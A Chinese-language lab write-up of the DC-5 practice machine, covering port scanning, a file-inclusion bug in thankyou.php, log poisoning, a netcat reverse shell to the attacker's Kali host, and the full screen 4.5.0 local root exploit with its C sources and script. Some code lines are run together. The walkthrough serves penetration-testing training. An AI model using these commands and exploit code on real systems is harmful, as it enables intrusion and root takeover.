6.DC-5
DC-5
關於環境的搭建 , 大家可以自行百度
網路橋接
滲透機 kali
靶機 dc-5
0x01. 資訊收集
老規矩就是那一套 , 然後找到靶機的真實ip , 掃描一下全埠
nmap 192.168.0.149
可以看到只開放了 80 , 11 和 37625埠 , 訪問一下80埠
根據DC-5的官方提示 , 有一個會隨著重新整理頁面變化而變化的頁面 , 找了一番發現在一個留言處有這個
發現這個年份會變化 , ok , 如果你做過開發 , 你可能知道模板這個東西 , 像這種頁面底部 , 一般都是每個頁面都有的 , 就可以通過模板匯入 , 在php中 , 即檔案包含的地方 , 但是問題是我們不知道這個被包含的引數是什麼?以及被包含的檔名稱
通過目錄掃描 , (7kb) , 我們掃到了foot.php , 這個就應該是底部包含的檔名稱 , 接著是可控引數的尋找 , 這裡只能爆破了 , 但是一般就那幾個引數 , 不會很怪異的
filepath
filename
file
type
name .....
最後爆破出來是file
http://192.168.0.149/thankyou.php?file=/etc/passwd
0x02. 漏洞發現和利用
通過上面發現出來了 , 確實是有檔案包含漏洞的 , 包含漏洞的利用方式有很多 , 這裡我們通過包含日誌檔案getsehll
nginx的預設配置檔案 /etc/nginx/nginx.conf
通過包含日誌的方式getshell
然後菜刀連線 , 反彈shell
kali監聽
nc -lvvp 4444
菜刀終端執行 nc -e /bin/sh 192.168.0.110 4444
進入互動式shell
python -c 'import pty;pty.spawn("/bin/bash")'
0x03. 提權
搜尋了核心版本 , 最後發現沒有exp , 驚不驚喜 , 意不意外 , 然後通過suid提權
find / -perm -u=s -type f 2>/dev/null
我們用 kali 自帶的漏洞褲 搜尋一下有無screen-4.5.0的提權漏洞
searchsploit screen
一個指令碼和一個說明檔案
我們先把兩個檔案都cp到tmp下
cp /usr/share/exploitdb/exploits/linux/local/41152.txt /tmp/41152.txt
cp /usr/share/exploitdb/exploits/linux/local/41154.sh /tmp/41154.sh
大概意思就是會編譯兩個c檔案 , 然後把編譯好的檔案通過那個sh指令碼執行 , 就可以提權了
所以就先在本地編輯c檔案 , 開啟那個指令碼 , 根據提示在tmp資料夾下新建兩個新檔案 , 內容如下
vim libhax.c
#include <stdio.h>#include <sys/types.h>#include <unistd.h>__attribute__ ((__constructor__))void dropshell(void){ chown("/tmp/rootshell", 0, 0); chmod("/tmp/rootshell", 04755); unlink("/etc/ld.so.preload"); printf("[+] done!\n");}
然後就是編譯了 , 並刪除原始檔
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.crm -f /tmp/libhax.c
vim rootshell.c
#include <stdio.h>int main(void){ setuid(0); setgid(0); seteuid(0); setegid(0); execvp("/bin/sh", NULL, NULL);}
然後就是編譯了 , 並刪除原始檔
gcc -o /tmp/rootshell /tmp/rootshell.crm -f /tmp/rootshell.c
這裡為什麼不直接在靶機上執行指令碼呢?因為執行失敗了,所以本地編譯,上傳,再執行
修改41154.sh指令碼 , 把原來的編譯給刪除了 , 內容如下
#!/bin/bash# screenroot.sh# setuid screen v4.5.0 local root exploit# abuses ld.so.preload overwriting to get root.# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html# HACK THE PLANET# ~ infodox (25/1/2017) echo "[+] Now we create our /etc/ld.so.preload file..."cd /etcumask 000 # becausescreen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline neededecho "[+] Triggering..."screen -ls # screen itself is setuid, so... /tmp/rootshell
因為直接執行這個指令碼會出錯 , 所以
用vim開啟該sh檔案,輸入:[plain]:set ff 回車,顯示fileformat=dos,重新設定下檔案格式:[plain]:set ff=unix 儲存退出:[plain]:wq
接下來就是通過一些方法 ( 可以通過python開啟http服務 , wget下載 ) , 把 libhax.so rootshell 41154.sh 上傳到靶機的/tmp目錄下 , 然後給指令碼以執行許可權
chmod +x 41154.sh./41154.sh
0x03. 總結
1.通過提示找到檔案包含漏洞getshell2.先反彈shell再說3.利用screen漏洞提權